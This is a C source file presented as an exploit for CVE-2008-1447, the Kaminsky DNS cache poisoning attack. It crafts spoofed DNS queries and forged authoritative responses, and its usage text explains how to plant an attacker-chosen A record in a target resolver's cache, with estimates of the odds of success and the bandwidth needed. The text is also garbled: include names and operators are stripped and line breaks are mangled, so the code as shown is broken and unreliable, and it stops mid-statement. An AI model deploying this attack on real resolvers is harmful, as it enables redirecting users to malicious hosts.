/*
* Exploit for CVE-2008-1447 - Kaminsky DNS Cache Poisoning Attack
*
* Compilation:
* $ gcc -o kaminsky-attack kaminsky-attack.c `dnet-config --libs` -lm
*
* Dependency: libdnet (aka libdumbnet-dev under Ubuntu)
*
* Author: marc.bevand at rapid7 dot com
*/
#define _BSD_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DNSF_RESPONSE (1 end)
fprintf(stderr, "dns_response overflow"), exit
(1);
memcpy(out *len, rec, l_rec); *len = l_rec;
}
unsigned build_query(u_char *buf, const char *srcip, const char *dstip, const char *name)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP: %s", srcip), exit
(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", dstip), exit
(1);
ip->ip_dst = addr.addr_ip;
// udp
struct udp_hdr *udp = (struct udp_hdr *)(buf IP_HDR_LEN);
udp->uh_sport = htons(1234);
udp->uh_dport = htons
(53);
// dns
dns_query(buf IP_HDR_LEN UDP_HDR_LEN,
(unsigned)(sizeof (buf) - (IP_HDR_LEN UDP_HDR_LEN)), &len,
rand(), DNSF_REC_DESIRED, name);
// udp len
len = UDP_HDR_LEN;
udp->uh_ulen = htons(len);
// ip len & cksum
len = IP_HDR_LEN;
ip->ip_len = htons(len);
ip_checksum(buf, len);
return len;
}
unsigned build_response(u_char *buf, const char *srcip, const char *dstip,
uint16_t port_resolver, uint16_t txid,
const char *q_name, const char *q_ip,
const char *domain, const char *auth_name, const char *auth_ip)
{
unsigned len = 0;
// ip
struct ip_hdr *ip = (struct ip_hdr *)buf;
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = rand() & 0xffff;
ip->ip_off = 0;
ip->ip_ttl = IP_TTL_MAX;
ip->ip_p = 17; // udp
ip->ip_sum = 0;
struct addr addr;
if (addr_aton(srcip, &addr) < 0)
fprintf(stderr, "invalid source IP: %s", srcip), exit
(1);
ip->ip_src = addr.addr_ip;
if (addr_aton(dstip, &addr) < 0)
fprintf(stderr, "invalid destination IP: %s", dstip), exit
(1);
ip->ip_dst = addr.addr_ip;
// udp
struct udp_hdr *udp = (struct udp_hdr *)(buf IP_HDR_LEN);
udp->uh_sport = htons
(53);
udp->uh_dport = htons(port_resolver);
// dns
dns_response(buf IP_HDR_LEN UDP_HDR_LEN,
(unsigned)(sizeof (buf) - (IP_HDR_LEN UDP_HDR_LEN)), &len,
txid, DNSF_RESPONSE | DNSF_AUTHORITATIVE,
q_name, q_ip, domain, auth_name, auth_ip);
// udp len
len = UDP_HDR_LEN;
udp->uh_ulen = htons(len);
// ip len & cksum
len = IP_HDR_LEN;
ip->ip_len = htons(len);
ip_checksum(buf, len);
return len;
}
void usage(char *name)
{
fprintf(stderr, "Usage: %s "
" n"
" Source IP used when sending queries for random hostnamesn"
" (typically your IP)n"
" Target DNS resolver to attackn"
" One of the authoritative DNS servers for n"
" Source port used by the resolver when forwarding queriesn"
" Poison the cache with the A record .n"
" Domain name, see .n"
" IP of your choice to be associated to .n"
" Number of poisoning attemps, more attempts increase then"
" chance of successful poisoning, but also the attack timen"
" Number of spoofed replies to send per attempt, more repliesn"
" increase the chance of successful poisoning but, but alson"
" the rate of packet lossn"
"Example:n"
" $ %s q.q.q.q r.r.r.r a.a.a.a 1234 pwned . 1.1.1.1 8192 16n"
"This should cause a A record resolving to 1.1.1.1 to appearn"
"in r.r.r.r's cache. The chance of successfully poisoning the resolver withn"
"this example (8192 attempts and 16 replies/attempt) is 86%%n"
"(1-(1-16/65536)**8192). This example also requires a bandwidth of aboutn"
"2.6 Mbit/s (16 replies/attempt * ~200 bytes/reply * 100 attempts/sec *n"
"8 bits/byte) and takes about 80 secs to complete (8192 attempts /n"
"100 attempts/sec).n",
name, name);
}
int main(int argc, char **argv)
{
if (argc != 10)
usage(argv[0]), exit
(1);
const char *querier = argv[1];
const char *ip_resolver = argv[2];
const char *ip_authoritative = argv[3];
uint16_t port_resolver = (uint16_t)strtoul(argv[4], NULL, 0);
const char *subhost = argv[5];
const char *domain = argv[6];
const char *anyip = argv[7];
uint16_t attempts = (uint16_t)strtoul(argv[8], NULL, 0);
uint16_t replies = (uint16_t)strtoul(argv[9], NULL, 0);
if (domain[strlen(domain) - 1 ] != '.')
fprintf(stderr, "domain must end with dot(.): %sn", domain), exit
(1);
printf("Chance of success: 1-(1-%d/65536)**%d = %.2fn", replies, attempts, 1 - pow((1 - replies / 65536.), attempts));
srand(time(NULL));
int unique = rand() (rand()